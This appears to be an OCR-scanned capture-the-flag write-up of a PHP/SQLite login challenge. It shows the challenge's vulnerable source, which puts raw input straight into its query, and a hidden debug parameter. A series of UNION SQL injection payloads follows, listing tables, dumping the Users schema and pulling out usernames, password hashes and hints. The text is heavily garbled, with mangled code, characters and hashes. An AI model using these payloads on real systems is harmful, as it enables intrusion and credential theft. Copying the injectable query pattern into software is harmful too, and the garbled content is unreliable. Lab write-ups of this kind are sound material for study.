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login.php:

Login

Login Page, do not try to hax here plox!
ID:

Password:

Submit

Flux Horst (Flux dot Horst at rub doft flux)

admin.php:

Admin-Panel

1D:

‘adnﬂn ‘

Password:

Submit

Flux Horst (Flux dot Horst at rub dot flux)
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<h1>Admin—Panel</h1>

{!—— do not even try to bypass this ——>
{form method="post”>
ID:<br>
{input type="text” name="usr” value="admin”>
<br><br>
Password:<br>

I]%EABS\HE:
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{input type="submit” value="Submit”>
{/form>

{!— TODO: Remove ?debug—Parameter! —>

BRERS 1 debugZBSH, Hifth, B2 T IR:

($_POST['usr']) && ($_POST['pw"]1)){
$user = $ POST['usr'];
$pass = $_POST['pw'];

$db = new SQLite3('../fancy.db');

$res = $db-> ("SELECT id,name from Users where name='".$user."' and password="'". ($pass."Salz!").
winy.
if($res){
$row = $res->
s
else{
echo "<br>Some Error occourred!";

if( ($row[ "id" ])){
("name'," '.$row[ '‘name'], () + 60, '/');
("Location: /");
die();

if( ($_GET['debug']))
("login.php");

?>

Ko o o o SQEEANA. (userfFfEsqiEN, MHMAEHFRA ', XEpasswordifishali®, FHPET Salz))
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usr=1"' union select 1,2,3 --&pw=

-

Login Page. do not try to hax here plox!
ID:

Password:

Submit

Warning: SQLite3::query(): Unable to prepare statement: 1, SELECTs
to the left and right of UNION do not have the same number of result

columns in /var/www/html/login.php on line 47
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Raw | 2% | Hex | HTML | Render

POST Aagin.php?debug=1 HTTF/1.1

Host: 111.200.241.244:47503

User-Agent: Mozilla/2.0 (Windows NT 10.0; WinB4; x64; n86.0) Gecko/20100101 Firefox/86.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp */* q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW, g=0.7 ,zh-HkK; g=0.5 en-US;q=0.3 en;q=0.2

A HTTR/1.1 302 Found
Date: Mon, 08 Mar 2021 07:28:19 GMT
Server: Apache/2.4.10 {Debian)
¥-Powered-By: PHP/S.6.30
Set-Cookie: name=+2; expires=Man, 08-Mar-2021 07:29:19 GMT; Max-Age=60; path=/

Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

Origin: http://111.200.241.244: 47503

Connection: close

Referer: http://111.200.241.244:47503/ogin. php? debug=1
Upgrade-Insecure-Requests: 1

Locatiops
ent-Length: 699

Connection: close
Content-Type: text/html; charset=UTF-8

<IDOCTYPE HTML PUBLIC "#W3C/DTD HTML 4. 014EN">

<html>

<head>

<style>

blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
<fstyle>

usr=1"union select 1,2|——&pw:

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title=Login</title>
<fheads>
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usr=1"' union select 1,group_concat(tbl _name) from sqlite_master where type='table'--&pw=
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usr=1"' union select 1,group_concat(sql) from sqlite_master where tbl name='Users'--&pw=
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CREATE TABLE Users(id int primary key,name varchar(255).password varchar(255),hint varchar{255))

BE T4 FE: id . name. password. hint.
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usr=1"' union select 1 id) from Users--&pw=

usr=1"' union select 1 name) from Users--&pw=

usr=1" union select 1 password) from Users--&pw=

usr=1"' union select 1 hint) from Users--&pw=

RE&RN:

id name password

1 admin 3fab54a50e770d830c0416df817567662a9dc8
5¢

2 fritze 54eae8935c90f467427f05ed4ece82cf569f895
07

3 hansi 34b0bb7c304949f9ff2fc101eef0f048be10d3b
d
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hint

my fav word in my fav
paper?!

my love is...?

the password is password
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